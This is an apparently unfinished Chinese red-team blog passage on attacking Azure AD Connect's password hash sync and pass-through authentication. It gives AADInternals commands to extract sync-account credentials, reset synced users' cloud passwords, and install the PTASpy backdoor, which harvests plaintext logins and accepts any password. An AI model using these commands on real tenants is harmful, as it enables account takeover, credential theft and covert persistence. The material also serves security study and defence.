&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083453-cc1a42.Cy0QAh5W.png&amp;#x26;w=1458&amp;#x26;h=1060&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083539-ae20d3.Bp-u9Al4.png&amp;#x26;w=1648&amp;#x26;h=761&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　新增了一个 MSQL 标志的用户，当我们查看他拥有权限的时候会发生什么。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083614-bf12b9.DvuVDJF6.png&amp;#x26;w=1112&amp;#x26;h=783&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　值得注意的是，此用户并不会同步到 AAD 里面去。&lt;/p&gt;
&lt;p&gt;　　Azure AD Connect 默认会排除以下类型的账户：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;内置管理员账户，如 &lt;code&gt;Administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;其他内置和系统账户&lt;/li&gt;
&lt;li&gt;被禁用的账户&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　这一点可以 &lt;code&gt;Get-ADSyncRule&lt;/code&gt; 来获取同步用户的规则。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083741-a31d2f.CuRmAzYh.png&amp;#x26;w=1719&amp;#x26;h=1070&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　所有 AD 域环境中的 &lt;code&gt;Administrator&lt;/code&gt;、&lt;code&gt;Guest&lt;/code&gt; 和 &lt;code&gt;krbtgt&lt;/code&gt; 账户是不会同步上去的。&lt;/p&gt;
&lt;p&gt;　　这些规则的设计目的是为了避免将一些系统账户、来宾账户或高权限账户同步到 Azure AD，从而保护 Azure AD 的安全性和稳定性。&lt;/p&gt;
&lt;p&gt;　　如本文前面所述，Azure AD Connect 在本地 Active Directory 上创建了一个同步帐户。&lt;/p&gt;
&lt;p&gt;　　由于他负责将用户密码哈希的哈希发送到云端，因此&lt;strong&gt;该用户在域上具有复制权限。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　我们来看看他如何同步密码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083872-3b044c.naDBIenc.png&amp;#x26;w=1393&amp;#x26;h=616&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　这段代码定义了一个名为 &lt;code&gt;PasswordHashGenerator&lt;/code&gt; 的类，它是 &lt;code&gt;ClearPasswordHashGenerator&lt;/code&gt; 的子类。&lt;code&gt;PasswordHashGenerator&lt;/code&gt; 主要作用是生成密码哈希值，用于在 Azure AD Connect 中同步密码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083937-1ad2c4.CWBYyBYy.png&amp;#x26;w=1011&amp;#x26;h=384&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　重新哈希过程由 &lt;em&gt;OrgIdHashGenerator&lt;/em&gt; 类中的方法处理，&lt;code&gt;OrgIdHashGenerator&lt;/code&gt; 类会对加盐后的哈希值应用 SHA256 算法，重复 1000 次。每次哈希都会将上一次的结果作为输入，从而产生一个更复杂、更难以破解的最终哈希值。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　我们来验证一下此过程，为了方便演示，我这里新增了一个 AD 域用户“lihua009”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084006-063117.Vv_jI1sH.png&amp;#x26;w=1325&amp;#x26;h=295&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　然后强制发起一次同步流程。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084066-c50252.VEtZjulG.png&amp;#x26;w=773&amp;#x26;h=146&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　dnspy 也已经停留在下断点的地方&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084146-9bdf6e.DSi-daXO.png&amp;#x26;w=1920&amp;#x26;h=724&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　来比较一下是否一致，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084212-42804f.DHV3Pe4o.png&amp;#x26;w=1085&amp;#x26;h=424&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h6&gt;滥用 特权&lt;/h6&gt;
&lt;p&gt;　　那么之前我们提到的 配置 PHS 之后会自动创建两个用户。&lt;/p&gt;
&lt;p&gt;　　MSQL_会自动在本地 AD 中创建。此帐户被赋予__&lt;strong&gt;目录同步帐户&lt;/strong&gt;&lt;em&gt;&lt;em&gt;角色（参见&lt;/em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions&quot;&gt;文档&lt;/a&gt;&lt;/em&gt;），这意味着它*_&lt;em&gt;在本地 AD 中具有复制（DCSync）权限&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;　　Sync*是在 Azure AD 中创建一个帐户。此帐户可以重置 Azure AD 中任何用户（同步或仅限云）&lt;strong&gt;的密码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084283-1858aa.DCAx-2OS.png&amp;#x26;w=1391&amp;#x26;h=531&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　这两个特权帐户的密码存储在安装 Azure AD Connect 的服务器上的 &lt;strong&gt;SQL 服务器中&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;　　数据库位于。&lt;code&gt;C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;　　ADsync 用户在本地是以服务账户进行启动的，参考如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084355-b6f7f3.zk4hL8R8.png&amp;#x26;w=820&amp;#x26;h=929&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　Azure AD Connect 服务利用名为 NT SERVICE\ADSync 的虚拟服务帐户来执行服务进程 (miiserver.exe)。&lt;/p&gt;
&lt;p&gt;　　当你拥有管理员权限并且在安装了 Azure AD Connect 的服务器上，就可以执行相关的命令。&lt;/p&gt;
&lt;p&gt;　　可以使用 AADInternals 进行提取，如下图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084421-f4db9c.PKgJcJpt.png&amp;#x26;w=1316&amp;#x26;h=266&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　获取到这些 sync 的凭据之后，可以直接利用令牌更改任何经过 AAD 同步用户的密码，如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084494-8b3e6d.DyPGWjQ9.png&amp;#x26;w=1322&amp;#x26;h=655&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;# 获取全局管理员列表
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084564-06d0ab.BjzuknNw.png&amp;#x26;w=1252&amp;#x26;h=181&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;# 获取所有用户
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084681-2549a0.32HPvQoV.png&amp;#x26;w=1362&amp;#x26;h=1105&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;# 获取指定用户的 ImmutableId，替换为你的实际用户
$userPrincipalName = &quot;lihua009@5tgyh1.onmicrosoft.com&quot;
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084765-5377a1.Bw-AvP0m.png&amp;#x26;w=1312&amp;#x26;h=241&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;# 使用 ImmutableId 重置用户密码，替换为你需要的新密码
$newPassword = &quot;AbcdPass12343!@#&quot;
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084824-d7944e.BPPnuHBy.png&amp;#x26;w=1253&amp;#x26;h=210&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;code&gt;# 现在可以使用新密码访问 Azure AD，使用旧密码访问 op-prem（密码更改不同步）&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;　　因为我们是模拟了票据从 AAD 进行的密码修改，也没有开启密码写回，所以修改的此用户密码是无法登陆本地 AD 的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084904-51592e.B31fchvY.png&amp;#x26;w=2548&amp;#x26;h=1363&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h6&gt;PHS 攻击面总结&lt;/h6&gt;
&lt;p&gt;　　那么我们总结一下 PHS 的一个概述&lt;/p&gt;
&lt;p&gt;　　同步流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;密码哈希的提取&lt;/strong&gt;：&lt;br&gt;
当用户在本地 AD 中创建或修改密码时，AD 会存储密码的哈希值（通常是 NTLM 哈希）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;哈希值的提取和处理&lt;/strong&gt;：&lt;br&gt;
Azure AD Connect 工具会定期从本地 AD 中提取这些密码哈希值。为了增强安全性，Azure AD Connect 不直接传输 NTLM 哈希，而是对其进行额外处理：
&lt;ul&gt;
&lt;li&gt;首先，Azure AD Connect 会对 NTLM 哈希值进行加盐和哈希处理，生成一个新的哈希值。&lt;/li&gt;
&lt;li&gt;这个新的哈希值再经过 PBKDF2（Password-Based Key Derivation Function 2）加密算法处理，增加计算复杂度和安全性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传输到 Azure AD&lt;/strong&gt;：&lt;br&gt;
处理后的哈希值通过加密的通道传输到 Azure AD。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;　　工作流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定期同步&lt;/strong&gt;：&lt;br&gt;
Azure AD Connect 工具默认每 30 分钟进行一次同步。你也可以手动触发同步。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码哈希的存储&lt;/strong&gt;：&lt;br&gt;
传输到 Azure AD 的密码哈希值被存储在 Azure AD 中，用于用户身份验证。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;　　验证过程：&lt;/p&gt;
&lt;p&gt;　　当用户尝试登录 Azure AD 资源（如 Office 365、Azure 门户等）时，身份验证过程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;用户输入密码&lt;/strong&gt;：&lt;br&gt;
用户在登录界面输入用户名和密码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码验证&lt;/strong&gt;：&lt;br&gt;
Azure AD 将用户输入的密码进行相同的哈希处理，并与存储在 Azure AD 中的密码哈希值进行比较。
&lt;ul&gt;
&lt;li&gt;如果哈希值匹配，则用户通过身份验证。&lt;/li&gt;
&lt;li&gt;如果哈希值不匹配，则用户身份验证失败。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　同步机制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;本地 AD 密码修改&lt;/strong&gt;：&lt;br&gt;
当用户在本地 AD 中修改密码时，新的密码哈希值会在下次同步时传输到 Azure AD。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Azure AD 密码修改&lt;/strong&gt;：&lt;br&gt;
如果用户在 Azure AD 中修改密码，新的密码不会同步回本地 AD。这是因为 PHS 默认 是单向同步机制。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　QA：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;是否能攻击本地域&lt;/strong&gt;：&lt;br&gt;
这是有可能的，因为 PHS 是二次 hash 过程到云端，就算你的密码在 AAD 中被泄露，这也是难以逆向的。但是不排除你的 AAD 密码和 AD 密码是一致的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;sync 滥用 拿到的 sync 权限对本地域用户也有权限吗 可以直接导本地用户信息不&lt;/strong&gt;：Sync 权限很高，可以理解为同步控制器，主要用于管理同步过程，将本地 AD 的数据同步到云端的 Azure AD。默认情况下，Sync 帐户在本地 AD 中只有只读权限，因此不能直接导出或更改本地 AD 用户信息，只能影响云端用户。然而，如果开启了密码写回功能，Sync 帐户会获得对本地 AD 用户进行写操作的权限，从而可以实现双向影响，即可以将云端的密码更改写回到本地 AD。因此，Sync 权限在这种情况下可以影响本地 AD 用户。这种情况下，可以影响本地 AD 用户信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h4&gt;PTA&lt;/h4&gt;
&lt;h5&gt;代理同步的原理和风险&lt;/h5&gt;
&lt;p&gt;　　&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta&quot;&gt;来自文档:&lt;/a&gt; Azure Active Directory (Azure AD) Pass-through Authentication 允许用户使用相同的密码登录本地和基于云的应用程序。此功能为用户提供了更好的体验——少记一个密码，并减少了 IT 帮助台的成本，因为用户不太可能忘记如何登录。当用户使用 Azure AD 登录时，此功能直接针对本地 Active Directory 验证用户的密码。&lt;/p&gt;
&lt;p&gt;　　在 PTA 中，身份是同步的，但密码不像在 PHS 中那样同步。&lt;/p&gt;
&lt;p&gt;　　身份验证在本地 AD 中验证，与云的通信由运行在本地服务器上的身份验证代理完成（不需要在本地 DC 上）。&lt;/p&gt;
&lt;p&gt;　　需要在 azure 中切换用户登陆方法为直通身份验证模式，如下图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703084966-6371c5.Ddy6Qzsg.png&amp;#x26;w=1685&amp;#x26;h=1170&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703085036-392c3f.BCnTzeTf.png&amp;#x26;w=1605&amp;#x26;h=1111&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703085096-4a5b8d.B9_uznPu.png&amp;#x26;w=1665&amp;#x26;h=1073&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　官方的建议是在大型域情况下设置 4 台以上的 PTA 代理服务器,同时这些服务器的安全性建议设置为最高（当然 PTA 服务器越多，存在的可能攻击面就越大。）&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　该 PTA 服务器关键进程如下：C:\Program Files\Microsoft Azure AD Connect Authentication Agent&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703085157-94e966.CepeMDk3.png&amp;#x26;w=685&amp;#x26;h=1054&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　其中负责同步的进程 AzureADConnectAuthenticationAgentService.exe&lt;/p&gt;
&lt;p&gt;　　在进程的方法打个断点后发起一次强制流程看看。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703085214-923bcb.BNgJpjmZ.png&amp;#x26;w=1888&amp;#x26;h=1175&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　那么 PTS 是如何进行逻辑验证的呢，可以先看看他的代码，大概流程如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;

namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
    // 表示与 Active Directory 域交互的上下文。
    public class ActiveDirectoryDomainContext : IDomainContext
    {
        // 域名属性。
        public string Domain { get; private set; }

        // 构造函数，初始化域上下文。
        public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
        {
            // 初始化 Domain 属性。如果域名为空或为 null，则设置为 null。
            this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
            // 初始化 nativeMethodWrapper 字段。
            this.nativeMethodWrapper = nativeMethodWrapper;
        }

        // 方法，用于验证用户凭据是否与 Active Directory 域匹配。
        public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
        {
            bool result;
            try
            {
                // 验证 userPrincipalName 和 password 是否为 null 或空。
                userPrincipalName.ValidateNotNullOrEmpty(&quot;userPrincipalName&quot;);
                password.ValidateNotNullOrEmpty(&quot;password&quot;);

                // 检查域名是否有效。
                if (!this.ValidateDomainName())
                {
                    // 如果域名无效，则设置错误代码并返回 false。
                    errorCode = string.Format(&quot;InvalidDomainName:&apos;{0}&apos;&quot;, this.Domain);
                    result = false;
                }
                else
                {
                    // 尝试使用提供的凭据登录用户。
                    bool flag = this.LogonUser(userPrincipalName, password);

                    if (flag)
                    {
                        // 如果登录成功，将错误代码设置为 0。
                        errorCode = 0;
                    }
                    else
                    {
                        // 如果登录失败，获取最后的 Win32 错误代码并记录警告。
                        errorCode = this.nativeMethodWrapper.GetLastWin32Error();
                        Trace.TraceWarning(&quot;Logon user failed with error: &apos;{0}&apos;&quot;, new object[]
                        {
                            errorCode
                        });
                    }
                    result = flag;
                }
            }
            catch (Exception ex)
            {
                // 记录异常信息。
                Trace.TraceError(&quot;Unknown Exception was thrown for domain &apos;{0}&apos;. Ex: &apos;{1}&apos;&quot;, new object[]
                {
                    this.Domain,
                    ex
                });
                errorCode = ex.GetType().ToString();
                result = false;
            }
            return result;
        }

        // 私有方法，用于使用指定的用户凭据登录。
        private bool LogonUser(string userPrincipalName, string password)
        {
            SafeCloseHandle safeCloseHandle = null;
            bool result;
            try
            {
                // 调用 nativeMethodWrapper 的 LogonUser 方法进行登录。
                result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
            }
            finally
            {
                // 确保释放 SafeCloseHandle 资源。
                if (safeCloseHandle != null)
                {
                    safeCloseHandle.Dispose();
                }
            }
            return result;
        }

        // 私有方法，用于验证域名的有效性。
        private bool ValidateDomainName()
        {
            // 检查域名是否为 &apos;.&apos;，如果是，则记录错误并返回 false。
            if (this.Domain != null &amp;#x26;&amp;#x26; this.Domain.Equals(&quot;.&quot;))
            {
                Trace.TraceError(&quot;Failed to create domain context due to invalid domain. Domain: &apos;{0}&apos;&quot;, new object[]
                {
                    this.Domain
                });
                return false;
            }
            return true;
        }

        // 常量定义。
        private const uint LOGON32_PROVIDER_DEFAULT = 0U; // 默认的登录提供程序。
        private const uint LOGON32_LOGON_NETWORK = 3U; // 网络登录类型。
        private const string InvalidDomainNameErrorFormat = &quot;InvalidDomainName:&apos;{0}&apos;&quot;; // 无效域名错误格式。
        private const int SuccessCode = 0; // 成功代码。
      
        // 私有字段，用于封装本地方法调用。
        private readonly INativeMethodWrapper nativeMethodWrapper;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;　　代码说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;ActiveDirectoryDomainContext&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;类&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;Domain&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;属性&lt;/strong&gt;: 存储域名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构造函数&lt;/strong&gt;: 初始化 &lt;code&gt;Domain&lt;/code&gt; 属性和 &lt;code&gt;nativeMethodWrapper&lt;/code&gt; 字段。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;ValidateCredentials&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;验证 &lt;code&gt;userPrincipalName&lt;/code&gt; 和 &lt;code&gt;password&lt;/code&gt; 是否有效。&lt;/li&gt;
&lt;li&gt;检查域名是否有效。&lt;/li&gt;
&lt;li&gt;尝试使用 &lt;code&gt;LogonUser&lt;/code&gt; 方法登录用户。&lt;/li&gt;
&lt;li&gt;根据登录结果设置 &lt;code&gt;errorCode&lt;/code&gt; 并记录日志。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;LogonUser&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;nativeMethodWrapper&lt;/code&gt; 的 &lt;code&gt;LogonUser&lt;/code&gt; 方法进行用户登录。&lt;/li&gt;
&lt;li&gt;确保在完成后释放 &lt;code&gt;SafeCloseHandle&lt;/code&gt; 资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;ValidateDomainName&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;验证域名是否有效，如果域名为 &lt;code&gt;.&lt;/code&gt; 则记录错误并返回 &lt;code&gt;false&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常量和字段&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LOGON32_PROVIDER_DEFAULT&lt;/code&gt;, &lt;code&gt;LOGON32_LOGON_NETWORK&lt;/code&gt;, &lt;code&gt;InvalidDomainNameErrorFormat&lt;/code&gt;, 和 &lt;code&gt;SuccessCode&lt;/code&gt; 是常量定义，用于登录操作和错误处理。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nativeMethodWrapper&lt;/code&gt; 用于封装对本地方法的调用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　这意味着，当用户通过配置了 PTA 的 Azure AD 输入密码时，他们的凭据是以未加密的形式传输到 PTA 上，然后 PTA 根据 Active Directory 对其进行验证。那么，如果我们入侵了负责 Azure AD Connect 的服务器会怎么样？&lt;/p&gt;
&lt;p&gt;　　显而易见，可以控制整个 PTA 服务器，并且所有通过该代理端点登陆的信息都会被截取。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h6&gt;中间人/后门&lt;/h6&gt;
&lt;p&gt;　　正如前面所说的，这套流程会将本地的域信息通过 PTA 进行连接起来，那么特定情况下的攻击面就如下了：&lt;/p&gt;
&lt;p&gt;　　当实际行动中拿到了运行 PTA 的代理服务器,并且有本地管理员的权限下可以进行后门做权限维持，其中,进程名为：AzureADConnectAuthenticationAgentService.exe。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　查找 AAD 中存在的 PTA 代理信息：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Import-Module AADInternals //导入模块
Get-AADIntProxyAgents //获取存在PTA的机器
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703085286-f6dfd8.ByTFhF-D.png&amp;#x26;w=1312&amp;#x26;h=398&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　实际作战中可以先找这些 PTA 机器作为维权的优先流程。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703085341-bf621f.-tz5Wamo.png&amp;#x26;w=758&amp;#x26;h=976&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　参考：&lt;a href=&quot;https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta&quot;&gt;https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Install-AADIntPTASpy //注入恶意后门
Get-AADIntAccessTokenForPTA -SaveToCache 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;　　使用该命令后会创建一个隐藏文件夹 (C:\PTASPy)，并将 PTASpy.dll 复制到那里。&lt;/p&gt;
&lt;p&gt;　　然后将 PTASpy.dll 注入正在运行的 AzureADConnectAuthenticationAgentService.exe。&lt;/p&gt;
&lt;p&gt;　　安装后，&lt;strong&gt;PTASpy 会收集所有使用的凭据，&lt;/strong&gt; 并将其与 Base64 编码的密码一起存储到 C:\PTASpy\PTASpy.csv。&lt;/p&gt;
&lt;p&gt;　　值得一提的是，该 PTA 是默认后门的功能，没有去判断密码的正确。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703085399-c4ea64.CMnxQ2Dr.png&amp;#x26;w=2435&amp;#x26;h=1012&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　也可以使用使用 &lt;a href=&quot;https://aadinternals.com/aadinternals/#get-aadintptaspylog&quot;&gt;Get-AADIntPTASpyLog&lt;/a&gt; 读取明文的密码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703085458-62e840.5ENJA7yy.png&amp;#x26;w=1054&amp;#x26;h=320&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　未完待续。&lt;/p&gt;
